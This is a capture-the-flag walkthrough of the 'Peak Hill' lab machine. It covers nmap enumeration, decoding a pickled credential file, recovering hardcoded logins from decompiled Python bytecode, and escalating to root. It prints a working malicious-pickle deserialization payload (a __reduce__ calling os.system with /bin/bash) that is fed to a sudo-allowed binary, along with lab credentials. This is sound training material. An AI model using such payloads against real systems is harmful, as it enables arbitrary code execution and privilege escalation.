

# Peak Hill

- Enumeration
  - Nmap Scan
    - FTP (21)
    - SSH (22)

## Enumeration

### Nmap Scan

```
PORT      STATE SERVICE REASON
21/tcp    open  ftp     syn-ack ttl 63
22/tcp    open  ssh     syn-ack ttl 63
7321/tcp  open  swx     syn-ack ttl 63

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--  1 ftp    ftp      17 May 15  2020 test.txt
| ftp-syst:
|  STAT:
| FTP server status:
|   Connected to ::ffff:10.8.185.29
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 5
|   vsFTPD 3.0.3 - secure, fast, stable
|_End of status

22/tcp    open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|  2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
|  256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_ 256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)

7321/tcp  open  swx?
| fingerprint-strings:
|  DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Hel
p, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPReq
uest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSReques
t, X11Probe, afp, giop, ms-sql-s, oracle-tns:
|   Username: Password:
|   NULL:
|_  Username:
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint
at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port7321-TCP:V=7.95%I=7%D=7/23%Time=68811096%P=x86_64-pc-linux-gnu%r(NU
SF:LL,A,"Username:\x20")%r(GenericLines,14,"Username:\x20Password:\x20")%r
SF:(GetRequest,14,"Username:\x20Password:\x20")%r(HTTPOptions,14,"Username
SF::\x20Password:\x20")%r(RTSPRequest,14,"Username:\x20Password:\x20")%r(R
```

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port  
Device type: general purpose

- ## FTP (21)

[illegible]

```
└─$ cat test.txt
```

vsftpd test file

## SSH (22)

```
└─$ ssh root@peakhill.thm
root@peakhill.thm's password:
```

- Password authentication is enabled for root account and for other account (tried Ubuntu)

The creds file is a pickle file. Used cyber chef to convert it from binary and got a data file. Saved it and used Python pickle to convert the data.

```
import pickle

with open("download.dat", "rb") as f:
    data = pickle.load(f)
print(data)
```

```
└─$ python3 rough.py
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'), ('ssh_pass20', 'h'), ('ssh_pass7', '_'), ('ssh_user0', 'g'), ('ssh_pass26', 'l'), ('ssh_pass5', '3'), ('ssh_pass1', '1'), ('ssh_pass22', '_'), ('ssh_pass12', '@'), ('ssh_user2', 'e'), ('ssh_user5', 'i'), ('ssh_pass18', '_'), ('ssh_pass27', 'd'), ('ssh_pass3', 'k'), ('ssh_pass19', 't'), ('ssh_pass6', 's'), ('ssh_pass9', '1'), ('ssh_pass23', 'w'), ('ssh_pass21', '3'), ('ssh_pass4', 'l'), ('ssh_pass14', '0'), ('ssh_user6', 'n'), ('ssh_pass2', 'c'), ('ssh_pass13', 'r'), ('ssh_pass16', 'n'), ('ssh_pass8', '@'), ('ssh_pass17', 'd'), ('ssh_pass24', '0'), ('ssh_user3', 'r'), ('ssh_user4', 'k'), ('ssh_pass11', '_'), ('ssh_pass0', 'p'), ('ssh_pass10', '1')]
```

ssh\_user<number> and ssh\_pass<number> → we will get a username and a password.

```
import pickle

with open("download.dat", "rb") as f:
    data = pickle.load(f)

username = []
password = []
for t in data:
    if t[0][:8] == 'ssh_pass':
        password.append(t)
    else:
        username.append(t)

sorted_username = sorted(username, key=lambda x: int(x[0].split('ssh_user')[1]))
sorted_password = sorted(password, key=lambda x: int(x[0].split('ssh_pass')[1]))
pwd = ""
user = ""
for v in sorted_username:
    user += v[1]
for v in sorted_password:
    pwd += v[1]
print(user)
print(pwd)
```

We get the username and password

```
└─$ ssh gherkin@peakhill.thm
gherkin@peakhill.thm's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)
```

```
* Documentation: https://help.ubuntu.com
* Management:   https://landscape.canonical.com
* Support:      https://ubuntu.com/advantage
```

```
28 packages can be updated.
19 updates are security updates.
```

The programs included with the Ubuntu system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/\*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by  
applicable law.

```
gherkin@ubuntu-xenial:~$ ls
cmd_service.pyc
gherkin@ubuntu-xenial:~$ pwd
/home/gherkin
```

```
gherkin@ubuntu-xenial:~$ file cmd_service.pyc
cmd_service.pyc: data
```

.pyc is Python bytecode. Reverse engineering this will give us the exact code.

Copied the file using SCP to my machine. Python server doesn't work. Using uncompyle6, I will decompile and get the source code.

Used online decompiler to decompile the bytecode.

```
cmd_service.py > ...
1 # uncompyle6 version 3.9.0
2 # Python bytecode version base 3.8.0 (3413)
3 # Decompiled from: Python 3.8.10 (default, Nov 22 2023, 10:22:35)
4 # [GCC 9.4.0]
5 # Embedded file name: ./cmd_service.py
6 # Compiled at: 2020-05-14 19:55:16
7 # Size of source mod 2**32: 2140 bytes
8 from Crypto.Util.number import bytes_to_long, long_to_bytes
9 import sys, textwrap, socketserver, string, readline, threading
10 from time import *
11 import getpass, os, subprocess
12 username = long_to_bytes(1684630636)
13 password = long_to_bytes(2457564920124666544827225107428488864802762356)
14
```

```
└─$ python3 rough.py
b'dill'
b'n3v3r_@_d1ll_m0m3nt'
```

Converting the username and password, we get the creds.

```
gherkin@ubuntu-xenial:~$ nc 127.0.0.1 7321
Username: dill
Password: n3v3r_@_d1ll_m0m3nt
Successfully logged in!
Cmd: id
uid=1003(dill) gid=1003(dill) groups=1003(dill)
```

```
Cmd: whoami
dill
```

We get the command line as dill but we are stuck in /var/cmd and cannot move around. But we can read files as I was able to read the users flag.

```
Cmd: sudo -l
Matching Defaults entries for dill on ubuntu-xenial:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User dill may run the following commands on ubuntu-xenial:
  (ALL : ALL) NOPASSWD: /opt/peak_hill_farm/peak_hill_farm
```

```
Cmd: ls -l /opt/peak_hill_farm/peak_hill_farm
-rwxr-x--x 1 root root 1218056 May 15 2020 /opt/peak_hill_farm/peak_hill_farm
```

```
Cmd: ls -la /home/dill
total 32
drwxr-xr-x 5 dill dill 4096 May 20 2020 .
drwxr-xr-x 4 root root 4096 May 15 2020 ..
-rw----- 1 root root 889 May 20 2020 .bash_history
-rw-r--r-- 1 dill dill 3801 May 18 2020 .bashrc
drwx----- 2 dill dill 4096 May 15 2020 .cache
drwxrwxr-x 2 dill dill 4096 May 20 2020 .nano
drwxr-xr-x 2 dill dill 4096 May 15 2020 .ssh
-r--r----- 1 dill dill 33 May 15 2020 user.txt
```

For better control, we will be logging to dill as SSH, as with the CMD shell, we are not able to run peak\_hill\_farm.

```
dill@ubuntu-xenial:~$ /opt/peak_hill_farm/./peak_hill_farm
[1550] Cannot open self /opt/peak_hill_farm/peak_hill_farm or archive /opt/peak_hill_farm/peak_hill_farm.pkg
```

Don't know if the machine is broken or if it is supposed to happen.

```
dill@ubuntu-xenial:~$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: seed
this not grow did not grow on the Peak Hill Farm! :(
```

I need to use sudo to run it. Without that it won't work.

```
dill@ubuntu-xenial:~$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!

to grow: tomato
failed to decode base64
```

So it is decoding the input using base64.

Copied the binary to my machine using SCP

```
exploit.py x
exploit.py > EvilPickle > __reduce__
1 import pickle
2 import os
3 import base64
4 class EvilPickle(object):
5     def __reduce__(self):
6         return (os.system, ['/bin/bash', ])
7
8 pickle_data = pickle.dumps(EvilPickle())
9 payload = base64.b64encode(pickle_data)
10 print(payload)
11
```

I copied this code from some writeup and ran on my machine and I used the payload to get the root shell.

```
dill@ubuntu-xenial:/opt/peak_hill_farm$ sudo /opt/peak_hill_farm/peak_hill_farm
Peak Hill Farm 1.0 - Grow something on the Peak Hill Farm!
```

```
to grow: gASVJAAAAAAAAAACMBXBvc2l4IlwGc3lzdGVtIJOuJkVYmluL2Jhc2iUhZRSIC4=
root@ubuntu-xenial:/opt/peak_hill_farm# id
uid=0(root) gid=0(root) groups=0(root)
root@ubuntu-xenial:/opt/peak_hill_farm#
```